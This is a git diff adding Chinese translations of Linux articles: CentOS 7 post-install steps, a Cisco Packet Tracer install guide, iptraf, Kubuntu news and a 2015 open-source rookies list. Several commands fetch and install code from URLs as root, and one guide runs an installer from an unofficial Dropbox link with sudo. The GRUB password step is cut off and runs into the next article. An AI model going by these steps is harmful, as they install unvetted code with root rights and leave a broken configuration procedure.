Riddell拒绝从Kubuntu领导人位置退出 ### + +从今天 Scott Kitterman 披露邮件往来,并决定在博客上写第二篇博文来看,表明了他想从他在 Ubuntu 和 Kubuntu 的位置退出,这表明 Jonathan Riddell 可能拒绝从 Kubuntu 领导人位置退出。 + +正如预料之中,Kubuntu 社区委员会的成员们支持 Jonathan Riddell,并且回击了 Ubuntu 社区委员会罢免 Kubuntu 项目领导人的决定。“我要感谢所有在 Kubuntu 委员会投票再次肯定我的 Kubuntu 成员。”,Jonathan Riddell 在[他的博客][2]上写道,“希望 Kubuntu 能够继续走下去,我也计划和我深爱的社区伙伴们一起为 15.10 发布而努力。” + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/Ubuntu-Community-Council-Asks-the-Kubuntu-Project-Leader-to-Step-Down-482384.shtml + +作者:[Marius Nestor][a] +译者:[alim0x](https://github.com/alim0x) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://news.softpedia.com/editors/browse/marius-nestor +[1]:https://skitterman.wordpress.com/ +[2]:http://jriddell.org/ diff --git a/published/201505/30 Things to Do After Minimal RHEL or CentOS 7 Installation--4.md b/published/201505/30 Things to Do After Minimal RHEL or CentOS 7 Installation--4.md new file mode 100644 index 0000000000..b6d7ae7f10 --- /dev/null +++ b/published/201505/30 Things to Do After Minimal RHEL or CentOS 7 Installation--4.md @@ -0,0 +1,190 @@ +安装完最小化 RHEL/CentOS 7 后需要做的 30 件事情(四) +================================================================================ +### 17. 安装 Webmin ### + +Webmin 是基于 Web 的 Linux 配置工具。它像一个中央系统,用于配置各种系统设置,比如用户、磁盘分配、服务以及 HTTP 服务器、Apache、MySQL 等的配置。 + + # wget http://prdownloads.sourceforge.net/webadmin/webmin-1.740-1.noarch.rpm + # rpm -ivh webmin-*.rpm + +![在 CentOS 7 上安装 Webmin](http://www.tecmint.com/wp-content/uploads/2015/04/Install-Webmin.jpeg) + +*安装 Webmin* + +安装完 webmin 后,你会在终端上得到一个消息,提示你用 root 密码在端口 10000 登录你的主机 (http://ip-address:10000)。 如果运行的是无接口的服务器你可以转发端口然后从有接口的服务器上访问它。(LCTT 译注:无接口[headless]服务器指没有访问接口或界面的服务器,在此次场景,指的是是出于内网的服务器,可采用外网/路由器映射来访问该端口) + +### 18. 启用第三方库 ### + +添加不受信任的库并不是一个好主意,尤其是在生产环境中,这可能导致致命的问题。但仅作为例子在这里我们会添加一些社区证实可信任的库,以安装第三方工具和软件包。 + +为企业版 Linux(EPEL)库添加额外的软件包。 + + # yum install epel-release + +添加社区企业版 Linux (Community Enterprise Linux)库: + + # rpm -Uvh http://www.elrepo.org/elrepo-release-7.0-2.el7.elrepo.noarch.rpm + +![安装 Epel 库](http://www.tecmint.com/wp-content/uploads/2015/04/install-epel-repo.jpeg) + +*安装 Epel 库* + +**注意!** 添加第三方库的时候尤其需要注意。 + +### 19. 安装 7-zip 工具 ### + +在最小化安装 CentOS 时你并没有获得类似 unzip 或者 untar 的工具。我们可以选择根据需要来安装每个工具,或一个能处理所有格式的工具。7-zip 就是一个能压缩和解压所有已知类型文件的工具。 + + # yum install p7zip + +![安装 7zip 工具](http://www.tecmint.com/wp-content/uploads/2015/04/Install-7zip-tool.jpeg) + +*安装 7zip 工具* + +**注意**: 该软件包从 Fedora EPEL 7 的库中下载和安装。 + +### 20. 安装 NTFS-3G 驱动 ### + +NTFS-3G,一个很小但非常有用的 NTFS 驱动,在大部分类 UNIX 发行版上都可用。它对于挂载和访问 Windows NTFS 文件系统很有用。尽管也有其它可用的替代品,比如 Tuxera,但 NTFS-3G 是使用最广泛的。 + + # yum install ntfs-3g + +![在 CentOS 上安装 NTFS-3G](http://www.tecmint.com/wp-content/uploads/2015/04/Install-NTFS-3G.jpeg) + +*安装 NTFS-3G 用于挂载 Windows 分区* + +ntfs-3g 安装完成之后,你可以使用以下命令挂载 Windows NTFS 分区(我的 Windows 分区是 /dev/sda5)。 + + # mount -ro ntfs-3g /dev/sda5 /mnt + # cd /mnt + # ls -l + +### 21. 安装 Vsftpd FTP 服务器 ### + +VSFTPD 表示 Very Secure File Transfer Protocol Daemon,是用于类 UNIX 系统的 FTP 服务器。它是现今最高效和安全的 FTP 服务器之一。 + + # yum install vsftpd + +![在 CentOS 7 上安装 Vsftpd](http://www.tecmint.com/wp-content/uploads/2015/04/Install-FTP.jpeg) + +*安装 Vsftpd FTP* + +编辑配置文件 ‘/etc/vsftpd/vsftpd.conf’ 用于保护 vsftpd。 + + # vi /etc/vsftpd/vsftpd.conf + +编辑一些值并使其它行保留原样,除非你知道自己在做什么。 + + anonymous_enable=NO + local_enable=YES + write_enable=YES + chroot_local_user=YES + +你也可以更改端口号,记得让 vsftpd 端口通过防火墙。 + + # firewall-cmd --add-port=21/tcp + # firewall-cmd --reload + +下一步重启 vsftpd 并启用开机自动启动。 + + # systemctl restart vsftpd + # systemctl enable vsftpd + +### 22. 安装和配置 sudo ### + +sudo 通常被称为 super do 或者 suitable user do,是一个类 UNIX 操作系统中用其它用户的安全权限执行程序的软件。让我们来看看怎样配置 sudo。 + + # visudo + +这会打开 /etc/sudoers 并进行编辑 + +![sudoers 文件](http://www.tecmint.com/wp-content/uploads/2015/04/sudoers-File.jpeg) + +*sudoers 文件* + +1. 给一个已经创建好的用户(比如 tecmint)赋予所有权限(等同于 root)。 + + tecmint ALL=(ALL) ALL + +2. 如果给一个已经创建好的用户(比如 tecmint)赋予除了重启和关闭服务器以外的所有权限(等同于 root)。 + + 首先,再一次打开文件并编辑如下内容: + + cmnd_Alias nopermit = /sbin/shutdown, /sbin/reboot + + 然后,用逻辑操作符(!)添加该别名。 + + tecmint ALL=(ALL) ALL,!nopermit + +3. 如果准许一个组(比如 debian)运行一些 root 权限命令,比如(增加或删除用户)。 + + cmnd_Alias permit = /usr/sbin/useradd, /usr/sbin/userdel + + 然后,给组 debian 增加权限。 + + debian ALL=(ALL) permit + +### 23. 安装并启用 SELinux ### + +SELinux 表示 Security-Enhanced Linux,是内核级别的安全模块。 + + # yum install selinux-policy + +![在 CentOS 7 上安装 SElinux](http://www.tecmint.com/wp-content/uploads/2015/04/Install-SElinux.jpeg) + +*安装 SElinux 策略* + +查看 SELinux 当前模式。 + + # getenforce + +![查看 SELinux 模式](http://www.tecmint.com/wp-content/uploads/2015/04/Check-SELinux-Mode.jpeg) + +*查看 SELinux 模式* + +输出是 Enforcing,意味着 SELinux 策略已经生效。 + +如果需要调试,可以临时设置 selinux 模式为允许。不需要重启。 + + # setenforce 0 + +调试完了之后再次设置 selinux 为强制模式,无需重启。 + + # setenforce 1 + +(LCTT 译注:在生产环境中,SELinux 固然会提升安全,但是也确实会给应用部署和运行带来不少麻烦。具体是否部署,需要根据情况而定。) + +### 24. 安装 Rootkit Hunter ### + +Rootkit Hunter,简写为 RKhunter,是在 Linux 系统中扫描 rootkits 和其它可能有害攻击的程序。 + + # yum install rkhunter + +![安装 Rootkit Hunter](http://www.tecmint.com/wp-content/uploads/2015/04/Install-Rootkit-Hunter.jpeg) + +*安装 Rootkit Hunter* + +在 Linux 中,从脚本文件以计划作业的形式运行 rkhunter 或者手动扫描有害攻击。 + + # rkhunter --check + +![扫描 rootkits](http://www.tecmint.com/wp-content/uploads/2015/04/Scan-for-rootkits.png) + +*扫描 rootkits* + +![RootKit 扫描结果](http://www.tecmint.com/wp-content/uploads/2015/04/RootKit-Results.png) + +*RootKit 扫描结果* + + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/things-to-do-after-minimal-rhel-centos-7-installation/4/ + +作者:[Avishek Kumar][a] +译者:[ictlyh](https://github.com/ictlyh) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/avishek/ \ No newline at end of file diff --git a/published/201505/30 Things to Do After Minimal RHEL or CentOS 7 Installation--5.md b/published/201505/30 Things to Do After Minimal RHEL or CentOS 7 Installation--5.md new file mode 100644 index 0000000000..446d6c663d --- /dev/null +++ b/published/201505/30 Things to Do After Minimal RHEL or CentOS 7 Installation--5.md @@ -0,0 +1,140 @@ +安装完最小化 RHEL/CentOS 7 后需要做的 30 件事情(五) +================================================================================ +### 25. 安装 Linux Malware Detect (LMD) ### + +Linux Malware Detect (LMD) 是 GNU GPLv2 协议下发布的开源 Linux 恶意程序扫描器,它是特别为面临威胁的主机环境所设计的。LMD 完整的安装、配置以及使用方法可以查看: + +- [安装 LMD 并和 ClamAV 一起使用作为反病毒引擎][1] + +### 26. 用 Speedtest-cli 测试服务器带宽 ### + +speedtest-cli 是用 python 写的用于测试网络下载和上传带宽的工具。关于 speedtest-cli 工具的完整安装和使用请阅读我们的文章[用命令行查看 Linux 服务器带宽][2] + +### 27. 配置 Cron 任务 ### + +这是最广泛使用的软件工具之一。它是一个任务调度器,比如,现在安排一个以后可以自动运行的作业。它用于未处理记录的日志和维护,以及其它日常工作,比如常规备份。所有的调度都写在文件 /etc/crontab 中。 + +crontab 文件包含下面的 6 个域: + + 分 时 日期 月份 星期 命令 + (0-59) (0-23) (1-31) (1/jan-12/dec) (0-6/sun-sat) Command/script + +![Crontab 域](http://www.tecmint.com/wp-content/uploads/2015/04/Crontab-Fields.jpeg) + +*Crontab 域* + +要在每天 04:30 运行一个 cron 任务(比如运行 /home/$USER/script.sh)。 + + 分 时 日期 月份 星期 命令 + 30 4 * * * speedtest-cli + +就把下面的条目增加到 crontab 文件 ‘/etc/crontab/’。 + + 30 4 * * * /home/$user/script.sh + +把上面一行增加到 crontab 之后,它会在每天的 04:30 am 自动运行,输出取决于脚本文件的内容。另外脚本也可以用命令代替。关于更多 cron 任务的例子,可以阅读[Linux 上的 11 个 Cron 任务例子][3] + +### 28. 安装 Owncloud ### + +Owncloud 是一个基于 HTTP 的数据同步、文件共享和远程文件存储应用。更多关于安装 owncloud 的内容,你可以阅读这篇文章:[在 Linux 上创建个人/私有云存储][4] + +### 29. 启用 Virtualbox 虚拟化 ### + +虚拟化是创建虚拟操作系统、硬件和网络的过程,是当今最热门的技术之一。我们会详细地讨论如何安装和配置虚拟化。 + +我们的最小化 CentOS 服务器是一个无用户界面服务器(LCTT 译注:无用户界面[headless]服务器指没有监视器和鼠标键盘等外设的服务器)。我们通过安装下面的软件包,让它可以托管虚拟机,虚拟机可通过 HTTP 访问。 + + # yum groupinstall 'Development Tools' SDL kernel-devel kernel-headers dkms + +![安装开发工具](http://www.tecmint.com/wp-content/uploads/2015/04/Install-Development-Tool.jpeg) + +*安装开发工具* + +更改工作目录到 ‘/etc/yum.repos.d/’ 并下载 VirtualBox 库。 + + # wget -q http://download.virtualbox.org/virtualbox/debian/oracle_vbox.asc + +安装刚下载的密钥。 + + # rpm --import oracle_vbox.asc + +升级并安装 VirtualBox。 + + # yum update && yum install virtualbox-4.3 + +下一步,下载和安装 VirtualBox 扩展包。 + + # wget http://download.virtualbox.org/virtualbox/4.3.12/Oracle_VM_VirtualBox_Extension_Pack-4.3.12-93733.vbox-extpack + # VBoxManage extpack install Oracle_VM_VirtualBox_Extension_Pack-4.3.12-93733.vbox-extpack + +![安装 VirtualBox 扩展包](http://www.tecmint.com/wp-content/uploads/2015/04/Install-Virtualbox-Extension-Pack.jpeg) + +*安装 VirtualBox 扩展包* + +![正在安装 VirtualBox 扩展包](http://www.tecmint.com/wp-content/uploads/2015/04/Installing-Virtualbox-Extension-Pack.jpeg) + +*正在安装 VirtualBox 扩展包* + +添加用户 ‘vbox’ 用于管理 VirtualBox 并把它添加到组 vboxusers 中。 + + # adduser vbox + # passwd vobx + # usermod -G vboxusers vbox + +安装 HTTPD 服务器。 + + # yum install httpd + +安装 PHP (支持 soap 扩展)。 + + # yum install php php-devel php-common php-soap php-gd + +下载 phpVirtualBox(一个 PHP 写的开源的 VirtualBox 用户界面)。 + + # wget http://sourceforge.net/projects/phpvirtualbox/files/phpvirtualbox-4.3-1.zip + +解压 zip 文件并把解压后的文件夹复制到 HTTP 工作目录。 + + # unzip phpvirtualbox-4.*.zip + # cp phpvirtualbox-4.3-1 -R /var/www/html + +下一步,重命名文件 /var/www/html/phpvirtualbox/config.php-example 为 var/www/html/phpvirtualbox/config.php。 + + # mv config.php.example config.php + +打开配置文件并添加我们上一步创建的 ‘username ’ 和 ‘password’。 + + # vi config.php + +最后,重启 VirtualBox 和 HTTP 服务器。 + + # service vbox-service restart + # service httpd restart + +转发端口并从一个有用户界面的服务器上访问它。 + + http://192.168.0.15/phpvirtualbox-4.3-1/ + +![登录 PHP Virtualbox](http://www.tecmint.com/wp-content/uploads/2015/04/PHP-Virtualbox-Login.png) + +*登录 PHP Virtualbox* + +![PHP Virtualbox 面板](http://www.tecmint.com/wp-content/uploads/2015/04/PHP-Virtualbox.png) + +*PHP Virtualbox 面板* + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/things-to-do-after-minimal-rhel-centos-7-installation/5/ + +作者:[Avishek Kumar][a] +译者:[ictlyh](https://github.com/ictlyh) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/avishek/ +[1]:https://linux.cn/article-5156-1.html +[2]:https://linux.cn/article-3796-1.html +[3]:http://www.tecmint.com/11-cron-scheduling-task-examples-in-linux/ +[4]:https://linux.cn/article-2494-1.html \ No newline at end of file diff --git a/published/201505/30 Things to Do After Minimal RHEL or CentOS 7 Installation--6.md b/published/201505/30 Things to Do After Minimal RHEL or CentOS 7 Installation--6.md new file mode 100644 index 0000000000..c2c00c95a6 --- /dev/null +++ b/published/201505/30 Things to Do After Minimal RHEL or CentOS 7 Installation--6.md @@ -0,0 +1,86 @@ +安装完最小化 RHEL/CentOS 7 后需要做的 30 件事情(六) +================================================================================ +### 30. 用密码保护 GRUB ### + +用密码保护你的 boot 引导程序这样你就可以在启动时获得额外的安全保障。同时你也可以在实物层面获得保护。通过在引导时给 GRUB 加锁防止任何无授权访问来保护你的服务器。 + +首先备份两个文件,这样如果有任何错误出现,你可以有回滚的选择。备份 ‘/etc/grub2/grub.cfg’ 为 ‘/etc/grub2/grub.cfg.old’。 + + # cp /boot/grub2/grub.cfg /boot/grub2/grub.cfg.old + +同样,备份 ‘/etc/grub.d/10\_linux’ 为 ‘/etc/grub.d/10\_linux.old’。 + + # cp /etc/grub.d/10_linux /etc/grub.d/10_linux.old + +打开文件 ‘/etc/grub.d/10\_linux’ 并在文件末尾添加下列行。 + + cat < Cisco Packet Tracer来开始下载。如果我们没有令牌,可以从下面的链接中获得,我已经将它上传到了Droppox。 + +官方站点: [https://www.netacad.com/][1] + +大多数人没有下载Packet Tracer的令牌,出于该原因,我已经将它上传到了dropbox,你可以从下面的URL获得Packet Tracer。 + +[下载Cisco Packet Tracer 6.1.1][2] + +![](http://1102047360.rsc.cdn77.org/wp-content/uploads/2015/01/pkt_002.png) + +### 步骤 2: 安装Java: ### + +要安装Packet Tracer,我们需要安装java。我们可以使用默认的仓库安装java;或者添加PPA仓库,然后更新包缓存来安装java。 + +使用以下命令来安装默认的jre + + # sudo apt-get install default-jre + +![](http://1102047360.rsc.cdn77.org/wp-content/uploads/2015/01/pkt_003.png) + +(或者) + +使用下面的步骤来安装Java Run-time并设置环境。 + +从官方站点下载Java:[下载Java][3] + + # tar -zxvf jre-8u31-linux-x64.tar.gz + # sudo mkdir -p /usr/lib/jvm + # sudo mv -v jre1.8.0_31 /usr/lib/jvm/ + # cd /usr/lib/jvm/ + # sudo update-alternatives --install "/usr/bin/java" "java" "/usr/lib/jvm/jre1.8.0_31/bin/java" 1 + # sudo update-alternatives --set "java" "/usr/lib/jvm/jre1.8.0_31/bin/java" + +通过编辑用户参数文件来设置Java环境,并添加路径相关的参数。当我们添加进用户参数文件后,我们机器上的每个用户都可以用java了。 + + # sudo vi /etc/profile + +将以下条目添加到/etc/profile文件中: + + export JAVA_HOME=/usr/lib/jvm/jre1.8.0_31 + export PATH=$PATH:/usr/java/jre1.8.0_31/bin + +运行以下命令来立即激活java路径。 + + # . /etc/profile + +检查Java版本和环境: + + # echo $JAVA_HOME + # java -version + +![](http://1102047360.rsc.cdn77.org/wp-content/uploads/2015/01/pkt_004.png) + +### 步骤 3: 启用32位架构支持: ### + +对于Packet Tracer,我们需要一些32位包。要安装32位包,我们需要使用以下命令来安装一些依赖。 + + # sudo dpkg --add-architecture i386 + # sudo apt-get update + +![](http://1102047360.rsc.cdn77.org/wp-content/uploads/2015/01/pkt_005.png) + + # sudo apt-get install libc6:i386 + # sudo apt-get install lib32z1 lib32ncurses5 lib32bz2-1.0 + # sudo apt-get install libnss3-1d:i386 libqt4-qt3support:i386 libssl1.0.0:i386 libqtwebkit4:i386 libqt4-scripttools:i386 + +![](http://1102047360.rsc.cdn77.org/wp-content/uploads/2015/01/pkt_006.png) + +### 步骤 4: 解压并安装软件包: ### + +使用tar命令来解压下载的包。 + + # mv Cisco\ Packet\ Tracer\ 6.1.1\ Linux.tar.gz\?dl\=0 Cisco_Packet_tracer.tar.gz + + # tar -zxvf Cisco_Packet_tracer.tar.gz + +![](http://1102047360.rsc.cdn77.org/wp-content/uploads/2015/01/pkt_007.png) + +导航到解压后的目录 + + # cd PacketTracer611Student + +现在,该开始安装了。安装过程很简单,只需几秒钟即可搞定。 + + # sudo ./install + +![](http://1102047360.rsc.cdn77.org/wp-content/uploads/2015/01/pkt_008.png) + +![](http://1102047360.rsc.cdn77.org/wp-content/uploads/2015/01/pkt_009.png) + +要使用Packet Tracer工作,我们需要设置环境,Cisco已经提供了环境脚本,我们需要以root用户来运行该脚本以设置环境变量。 + + # sudo ./set_ptenv.sh + +![](http://1102047360.rsc.cdn77.org/wp-content/uploads/2015/01/pkt_010.png) + +安装到此结束。接下来,我们需要为Packet Tracer创建桌面图标。 + +通过创建下面的桌面文件来创建桌面图标。 + + # sudo su + # cd /usr/share/applications + # sudo vim packettracer.desktop + +![](http://1102047360.rsc.cdn77.org/wp-content/uploads/2015/01/pkt_011.png) + +使用vim编辑器或你喜爱的那个编辑器来添加以下内容到文件。 + + [Desktop Entry] + Name= Packettracer + Comment=Networking + GenericName=Cisco Packettracer + Exec=/opt/packettracer/packettracer + Icon=/usr/share/icons/packettracer.jpeg + StartupNotify=true + Terminal=false + Type=Application + +使用wq!来保存并退出vim。 + +![](http://1102047360.rsc.cdn77.org/wp-content/uploads/2015/01/pkt_012.png) + +### 步骤 5: 运行Packet Tracer ### + + # sudo packettracer + +好了,我们已经成功将Packet Tracer安装到Linux中。上述安装步骤适用于所有基于Debian的Linux发行版。 + +![](http://1102047360.rsc.cdn77.org/wp-content/uploads/2015/01/pkt_013.png) + +![](http://1102047360.rsc.cdn77.org/wp-content/uploads/2015/01/pkt_014.png) + +### 资源 ### + +主页:[Netacad][4] + +### 尾声: ### + +这里,我们展示了如何安装Packet Tracer到Linux发行版中。希望你们找到了将你们所钟爱的模拟器安装到Linux中的方法。 + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/installing-cisco-packet-tracer-linux/ + +作者:[babin][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.unixmen.com/author/babin/ +[1]:https://www.netacad.com/ +[2]:https://www.dropbox.com/s/5evz8gyqqvq3o3v/Cisco%20Packet%20Tracer%206.1.1%20Linux.tar.gz?dl=0 +[3]:http://www.oracle.com/technetwork/java/javase/downloads/jre8-downloads-2133155.html +[4]:https://www.netacad.com/ diff --git a/published/201506/20150126 iptraf--A TCP or UDP Network Monitoring Utility.md b/published/201506/20150126 iptraf--A TCP or UDP Network Monitoring Utility.md new file mode 100644 index 0000000000..31d432f445 --- /dev/null +++ b/published/201506/20150126 iptraf--A TCP or UDP Network Monitoring Utility.md @@ -0,0 +1,64 @@ +iptraf:TCP/UDP网络监控工具 +================================================================================ +[iptraf][1]是一个基于ncurses开发的IP局域网监控工具,它可以生成各种网络统计数据,包括TCP信息、UDP统计、ICMP和OSPF信息、以太网负载信息、节点统计、IP校验和错误和其它一些信息。 + +它基于ncurses的用户界面也会把使用者从命令行选项的梦靥中拯救出来。 + +### 功能 ### + +- 一个用于显示通过网络的IP流量信息的IP流量监控器,包括TCP标识信息、包和字节统计、ICMP详情、OSPF包类型 +- 显示IP、TCP、UDP、ICMP、非IP和其它IP包计数、IP校验和错误、接口活动、包大小计数的综合详细的接口统计数据 +- 一个用于计数常用TCP和UDP应用端口的流入和流出包的TCP和UDP服务监控器 +- 一个用于发现活动主机和显示这些活动主机的数据活动的局域网统计模块 +- TCP、UDP和其它协议的显示过滤器,允许你查看你做感兴趣的流量 +- 日志记录 +- 支持以太网、FDDI、ISDN、SLIP、PPP和回环接口类型 +- 利用Linux内核内建的原生套接口界面,可以用于大范围支持的网卡 +- 全屏、菜单驱动操作 + +###要安装### + +**Ubuntu及其衍生版** + + sudo apt-get install iptraf + +**Arch Linux及其衍生版** + + sudo pacman -S iptra + +**Fedora及其衍生版** + + sudo yum install iptraf + +### 用法 ### + +如果**iptraf**命令不带任何命令行选项执行,该程序就会以交互模式显现,可以通过主菜单获得各种各样的工具。 + +![](http://1102047360.rsc.cdn77.org/wp-content/uploads/2015/01/iptraf_1.png) + +易于导航的菜单。 + +![](http://1102047360.rsc.cdn77.org/wp-content/uploads/2015/01/iptraf_2.png) + +选择监控的接口。 + +![](http://1102047360.rsc.cdn77.org/wp-content/uploads/2015/01/iptraf_3.png) + +来自**ppp0**接口的流量 + +![](http://1102047360.rsc.cdn77.org/wp-content/uploads/2015/01/iptraf_4.png) + +希望你喜欢。 + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/iptraf-tcpudp-network-monitoring-utility/ + +作者:[Enock Seth Nyamador][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.unixmen.com/author/seth/ +[1]:http://iptraf.seul.org/about.html diff --git a/published/201506/20150128 The top 10 rookie open source projects.md b/published/201506/20150128 The top 10 rookie open source projects.md new file mode 100644 index 0000000000..ea9c04ce4f --- /dev/null +++ b/published/201506/20150128 The top 10 rookie open source projects.md @@ -0,0 +1,154 @@ +2015 年度开源项目新秀榜 +================================================================================ +黑鸭(Black Duck)软件公布了一份名叫“年度开源项目新秀”的报告,介绍了由全球开源协会发起的10个最有趣、最活跃的新项目。 + +![](http://images.techhive.com/images/article/2015/01/open_source_rookies_01-100564902-orig.jpeg) + +### 年度开源项目新秀 ### + +每年都有上千新的开源项目问世,但只有少数能够真正的吸引我们的关注。一些项目因为利用了当前比较流行的技术而发展壮大,有一些则真正地开启了一个新的领域。很多开源项目建立的初衷是为了解决一些生产上的问题,还有一些项目则是世界各地志同道合的开发者们共同发起的一个宏伟项目。 + +从2009年起,开源软件管理公司黑鸭便发起了[年度开源项目新秀][1]这一活动,它的评选根据[Open Hub][2]网站(即以前的Ohloh)上的活跃度。今年,我们很荣幸能够报道2015年10大开源项目新秀的得主和2名荣誉奖得主,它们是从上千个开源项目中脱颖而出的。评选采用了加权评分系统,得分标准基于项目的活跃度,交付速度和几个其它因数。 + +开源俨然成为了产业创新的引擎,就拿今年来说,和Docker容器相关的开源项目在全球各地兴起,这也不恰巧反映了企业最感兴趣的技术领域吗?最后,我们接下来介绍的项目,将会让你了解到全球开源项目的开发者们的在思考什么,这很快将会成为一个指引我们发展的领头羊。 + +### 2015年度开源项目新秀: DebOps ### + +![](http://images.techhive.com/images/article/2015/01/open_source_rookies_02-100564903-orig.jpeg) + +[DebOps][3]收集打包了一套[Ansible][4]方案和规则(Ansible是一种自动化运维工具),可以从1个容器扩展到一个完整的数据中心。它的创始人Maciej Delmanowski将DebOps开源来保证项目长久进行,从而更好的通过外部贡献者的帮助发展下去。 + +DebOps始创于波兰的一个不起眼大学校园里,他们运营自己的数据中心,一切工作都采用手工配置。有时系统崩溃而导致几天的宕机,这时Delmanowski意识到一个配置管理系统是很有必要的。以Debian作为基础开始,DebOps是一组配置一整个数据基础设施的Ansible方案。此项目已经在许多不同的工作环境下实现,而创始者们则打算继续支持和改进这个项目。 + +###2015年度开源项目新秀: Code Combat ### + +![](http://images.techhive.com/images/article/2015/01/open_source_rookies_03-100564904-gallery.idge.jpg) + +传统的纸笔学习方法已近不能满足技术学科了。然而游戏却有很多人都爱玩,这也就是为什么[CodeCombat][5]的创始人会去开发一款多人协同编程游戏来教人们如何编码。 + +刚开始CodeCombat是一个创业想法,但其创始人决定取而代之创建一个开源项目。此想法在社区传播开来,很快不少贡献者加入到项目中来。项目发起仅仅两个月后,这款游戏就被接纳到Google’s Summer of Code活动中。这款游戏吸引了大量玩家,并被翻译成45种语言。CodeCombat希望成为那些想要一边学习代码同时获得乐趣的同学的风向标。 + +### 2015年度开源项目新秀: Storj ### + +![](http://images.techhive.com/images/article/2015/01/open_source_rookies_04-100564905-gallery.idge.jpg) + +[Storj][6]是一个点对点的云存储网络,可实现端到端加密,保证用户不用依赖第三方即可传输和共享数据。基于比特币block chain技术和点对点协议,Storj提供安全、私密、加密的云存储。 + +云数据存储的反对者担心成本开销和漏洞攻击。针对这两个担忧,Storj提供了一个私有云存储市场,用户可以通过Storjcoin X(SJCX) 购买交易存储空间。上传到Storj的文件会被粉碎、加密和存储到整个社区。只有文件所有者拥有密钥加密的信息。 + +在2014年举办的Texas Bitcoin Conference Hackathon会议上,去中心化的云存储市场概念首次被提出并证明可行。在第一次赢得黑客马拉松活动后,项目创始人们和领导团队利用开放论坛、Reddit、比特币论坛和社交媒体增长成了一个活跃的社区,如今,它们已成为影响Storj发展方向的一个重要组成部分。 + +### 2015年度开源项目新秀: Neovim ### + +![](http://images.techhive.com/images/article/2015/01/open_source_rookies_05-100564906-orig.jpg) + +自1991年出现以来,Vim已经成为数以百万计软件开发人员所钟爱的文本编辑器。 而[Neovim][6]就是它的下一个版本。 + +在过去的23年里,软件开发生态系统经历了无数增长和创新。Neovim创始人Thiago de Arruda认为Vim缺乏当代元素,跟不上时代的发展。在保留Vim的招牌功能的前提下,Neovim团队同样在寻求改进和发展这个最受欢迎的文本编辑器的技术。早期众筹让Thiago de Arruda可以连续6个月时间投入到此项目。他相信Neovim社区会支持这个项目,激励他继续开发Neovim。 + +### 2015年度开源项目新秀: CockroachDB ### + +![](http://images.techhive.com/images/article/2015/01/open_source_rookies_06-100564907-orig.jpg) + +前谷歌员工开发了一个开源的大型企业数据存储项目[CockroachDB][8],它是一个可扩展的、跨地域复制且支持事务的数据存储的解决方案。 + +为了保证在线的百万兆字节流量业务的质量,Google开发了Spanner系统,这是一个可扩展的,稳定的,支持事务的系统。许多参与开发CockroachDB的团队现在都服务于开源社区。就像真正的蟑螂(cockroach)一样,CockroachDB可以在没有数据头、任意节点失效的情况下正常运行。这个开源项目有很多富有经验的贡献者,创始人们通过社交媒体、Github、网络、会议和聚会结识他们并鼓励他们参与其中。 + +### 2015年度开源项目新秀: Kubernetes ### + +![](http://images.techhive.com/images/article/2015/01/open_source_rookies_07-100564908-orig.jpg) + +在将容器化软件到引入开源社区发展时,[Docker][9]是一匹黑马,它创新了一套技术和工具。去年6月谷歌推出了[Kubernetes][10],这是一款开源的容器管理工具,用来加快开发和简化操作。 + +谷歌在它的内部运营上使用容器技术多年了。在2014年夏天的DockerCon上大会上,谷歌这个互联网巨头开源了Kubernetes,Kubernetes的开发是为了满足迅速增长的Docker生态系统的需要。通过和其它的组织、项目合作,比如Red Hat和CoreOS,Kubernetes项目的管理者们推动它登上了Docker Hub的工具下载榜榜首。Kubernetes的开发团队希望扩大这个项目,发展它的社区,这样的话软件开发者就能花更少的时间在管理基础设施上,而更多的去开发他们自己的APP。 + +### 2015年度开源项目新秀: Open Bazaar ### + +![](http://images.techhive.com/images/article/2015/01/open_source_rookies_08-100564909-orig.jpg) + +OpenBazaar是一个使用比特币与其他人交易的去中心化的市场。OpenBazaar这一概念最早在编程马拉松(hackathon)活动中被提出,它的创始人结合了BitTorent、比特币和传统的金融服务方式,创造了一个不受审查的交易平台。OpenBazaar的开发团队在寻求新的成员,而且不久以后他们将极度扩大Open Bazaar社区。Open Bazaar的核心是透明度,其创始人和贡献者的共同目标是在商务交易中掀起一场革命,让他们向着一个真实的、一个无控制的,去中心化的市场奋进。 + +### 2015年度开源项目新秀: IPFS ### + +![](http://images.techhive.com/images/article/2015/01/open_source_rookies_09-100564910-orig.jpg) + +IPFS 是一个面向全球的、点对点的分布式版本文件系统。它综合了Git,BitTorrent,HTTP的思想,开启了一个新的数据和数据结构传输协议。 + +人们所知的开源,它的本意用简单的方法解决复杂的问题,这样产生许多新颖的想法,但是那些强大的项目仅仅是开源社区的冰山一角。IFPS有一个非常激进的团队,这个概念的提出是大胆的,令人惊讶的,有点甚至高不可攀。看起来,一个点对点的分布式文件系统是在寻求将所有的计算设备连在一起。这个可能的 HTTP 替换品通过多种渠道维护着一个社区,包括Git社区和超过100名贡献者的IRC。这个疯狂的想法将在2015年进行软件内部测试。 + +### 2015年度开源项目新秀: cAdvisor ### + +![](http://images.techhive.com/images/article/2015/01/open_source_rookies_10-100564911-orig.jpg) + +[cAdvisor (Container Advisor)][13] 